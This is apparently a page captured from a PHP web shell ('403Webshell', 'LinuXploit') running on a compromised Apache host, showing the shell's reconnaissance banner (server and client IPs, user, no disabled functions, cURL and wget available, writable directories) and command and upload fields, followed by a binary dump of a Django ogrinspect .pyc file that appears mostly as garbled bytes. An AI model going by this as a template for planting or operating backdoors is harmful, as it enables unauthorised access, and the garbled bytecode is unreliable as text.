403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/django/contrib/gis/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/django/contrib/gis/utils/__pycache__/ogrinspect.cpython-311.pyc
�

�|�e�"��V�dZddlmZddlmZmZmZmZmZm	Z	m
Z
dd�Zd�Z			dd
�Z
dS)
z�
This module is for inspecting OGR data sources and generating either
models for GeoDjango and/or mapping dictionaries for use with the
`LayerMapping` utility.
�)�
DataSource)�OFTDate�OFTDateTime�
OFTInteger�OFTInteger64�OFTReal�	OFTString�OFTTime�geomFc��t|t��rt|��}n%t|t��rntd���i}||jD].}|���}|dd�dkr|dz
}|||<�/||j}|r|���t|�����||<|S)a�
    Given a DataSource, generate a dictionary that may be used
    for invoking the LayerMapping utility.

    Keyword Arguments:
     `geom_name` => The name of the geometry field to use for the model.

     `layer_key` => The key for specifying which layer in the DataSource to use;
       defaults to 0 (the first layer).  May be an integer index or a string
       identifier for the layer.

     `multi_geom` => Boolean (default: False) - specify as multigeometry.
    �>Data source parameter must be a string or a DataSource object.���N�_�field)	�
isinstance�strr�	TypeError�fields�lower�	geom_type�to_multi�upper)�data_source�	geom_name�	layer_key�
multi_geom�_mappingr�mfield�gtypes        �E/usr/lib/python3/dist-packages/django/contrib/gis/utils/ogrinspect.py�mappingr!
s����+�s�#�#�Z� ��-�-���	�K��	,�	,�Z���X�Y�Y�Y��H��Y�'�.�!�!���������"�#�#�;�#����g��F� ������	�"�,�E���
�������e�*�*�*�*�,�,�H�Y���O�c�@�d�t|i|����S)a�

    Given a data source (either a string or a DataSource object) and a string
    model name this function will generate a GeoDjango model.

    Usage:

    >>> from django.contrib.gis.utils import ogrinspect
    >>> ogrinspect('/path/to/shapefile.shp','NewModel')

    ...will print model definition to stout

    or put this in a Python script and use to redirect the output to a new
    model like:

    $ python generate_model.py > myapp/models.py

    # generate_model.py
    from django.contrib.gis.utils import ogrinspect
    shp_file = 'data/mapping_hacks/world_borders.shp'
    model_name = 'WorldBorders'

    print(ogrinspect(shp_file, model_name, multi_geom=True, srid=4326,
                     geom_name='shapes', blank=True))

    Required Arguments
     `datasource` => string or DataSource object to file pointer

     `model name` => string of name of new model class to create

    Optional Keyword Arguments
     `geom_name` => For specifying the model name for the Geometry Field.
       Otherwise will default to `geom`

     `layer_key` => The key for specifying which layer in the DataSource to use;
       defaults to 0 (the first layer).  May be an integer index or a string
       identifier for the layer.

     `srid` => The SRID to use for the Geometry Field.  If it can be determined,
       the SRID of the datasource is used.

     `multi_geom` => Boolean (default: False) - specify as multigeometry.

     `name_field` => String - specifies a field name to return for the
       __str__() method (which will be generated if specified).

     `imports` => Boolean (default: True) - set to False to omit the
       `from django.contrib.gis.db import models` code from the
       autogenerated models thus avoiding duplicated imports when building
       more than one model by batching ogrinspect()

     `decimal` => Boolean or sequence (default: False).  When set to True
       all generated model fields corresponding to the `OFTReal` type will
       be `DecimalField` instead of `FloatField`.  A sequence of specific
       field names to generate as `DecimalField` may also be used.

     `blank` => Boolean or sequence (default: False).  When set to True all
       generated model fields will have `blank=True`.  If the user wants to
       give specific fields to have blank, then a list/tuple of OGR field
       names may be used.

     `null` => Boolean (default: False) - When set to True all generated
       model fields will have `null=True`.  If the user wants to specify
       give specific fields to have null, then a list/tuple of OGR field
       names may be used.

    Note: Call the _ogrinspect() helper to do the heavy lifting.
    �
)�join�_ogrinspect)�args�kwargss  r �
ogrinspectr)3s$��H�9�9�[�$�1�&�1�1�2�2�2r"NTc#�����K�t|t��rt|��}n%t|t��rntd���||}|j��fd�}||
���||	���||��}
��fd�}|rdV�dV�dV�dV�d|zV�t�|j|j|j��D�]6\}}}}|�	��}|dd	�d
kr|dz
}||��}|tur6|�	��|
vrd||||fzV��ed
|�d|dd	��d�V��y|turd
|�d|dd	��d�V���|turd
|�d|dd	��d�V���|turd
|�d|�|�d�V���|turd
|�d|dd	��d�V���|turd
|�d|dd	��d�V���|t urd
|�d|dd	��d�V���#td|�d|�����|j}|r|���|j}|�*|j�d}n%|jj}|�d}n|dkrd}nd|z}nd|z}d
|�d|�d|�d�V�|r
dV�d|zV�d	Sd	S)z�
    Helper routine for `ogrinspect` that generates GeoDjango models corresponding
    to the given data source.  See the `ogrinspect` docstring for more details.
    r
c�t��t|ttf��rd�|D��S|rd��D��SgS)Nc�6�g|]}|�����S��r��.0�ss  r �
<listcomp>z6_ogrinspect.<locals>.process_kwarg.<locals>.<listcomp>�s ��-�-�-�!�A�G�G�I�I�-�-�-r"c�6�g|]}|�����Sr-r.r/s  r r2z6_ogrinspect.<locals>.process_kwarg.<locals>.<listcomp>�s ��2�2�2�!�A�G�G�I�I�2�2�2r")r�list�tuple)�kwarg�
ogr_fieldss �r �
process_kwargz"_ogrinspect.<locals>.process_kwarg�sN����e�d�E�]�+�+�	�-�-�u�-�-�-�-�
�	�2�2�z�2�2�2�2��Ir"c����g}|����vr|�d��|����vr|�d��|rdd�|��zSdS)Nz	null=Truez
blank=Truez, �)r�appendr%)�
field_name�kwlist�blank_fields�null_fieldss  ��r �get_kwargs_strz#_ogrinspect.<locals>.get_kwargs_str�s~�����������,�,��M�M�+�&�&�&�������-�-��M�M�,�'�'�'��	��$�)�)�F�+�+�+�+��2r"zF# This is an auto-generated Django model module created by ogrinspect.z(from django.contrib.gis.db import modelsr:zclass %s(models.Model):rNrrz@    %s = models.DecimalField(max_digits=%d, decimal_places=%d%s)z    z = models.FloatField(��)z = models.IntegerField(z = models.BigIntegerField(z = models.CharField(max_length=z = models.DateField(z = models.DateTimeField(z = models.TimeField(zUnknown field type z in zsrid=-1i�zsrid=%sz
 = models.�(z%    def __str__(self): return self.%s)rrrrr�zip�field_widths�field_precisions�field_typesrrrrr	rrr
rr�django�srs�srid)r�
model_namerrrJr�
name_field�imports�decimal�blank�null�layerr8�decimal_fieldsr@r<�width�	precision�
field_typer�
kwargs_strr�
geom_field�srid_strr>r?r7s                        @@@r r&r&zs��������+�s�#�#�Z� ��-�-���	�K��	,�	,�Z���X�Y�Y�Y�
�	�"�E���J������ �-��%�%�K� �=��'�'�L�"�]�7�+�+�N�	�	�	�	�	�	���V�V�V�V�8�8�8�8���������
#�j�
0�0�0�0�47���*�E�,B�E�DU�5W�5W�!R�!R�0�
�E�9�j��!�!�#�#���"�#�#�;�#����g��F�$�^�J�/�/�
��� � ����!�!�^�3�3�X��E�9�j�\������4�
;A�&�&�*�Q�R�R�.�.�.�Q�Q�Q�Q�Q�
�:�
%�
%�
%�8>���
�1�2�2����O�O�O�O�O�
�<�
'�
'�
'�;A�6�6�:�a�b�b�>�>�>�R�R�R�R�R�
�9�
$�
$�
$�BH�&�&�%�%�Q[�Q[�Q[�\�\�\�\�\�
�7�
"�
"�
"�5;�V�V�Z����^�^�^�L�L�L�L�L�
�;�
&�
&�
&�9?����A�B�B����P�P�P�P�P�
�7�
"�
"�
"�5;�V�V�Z����^�^�^�L�L�L�L�L��)�Z�Z�Z���P�Q�Q�Q�
�O�E���
��������J��|��9�� �H�H��9�>�D��|�$����������$�t�+����t�#���&/�i�i����X�X�X�
F�F�F�F��C�����5�
�B�B�B�B�B�B�C�Cr")rrF)	rrNFNTFFF)�__doc__�django.contrib.gis.gdalr�django.contrib.gis.gdal.fieldrrrrrr	r
r!r)r&r-r"r �<module>r\s�����
/�.�.�.�.�.�������������������#�#�#�#�LD3�D3�D3�NNR�;?�16�sC�sC�sC�sC�sC�sCr"

Youez - 2016 - github.com/yon3zu
LinuXploit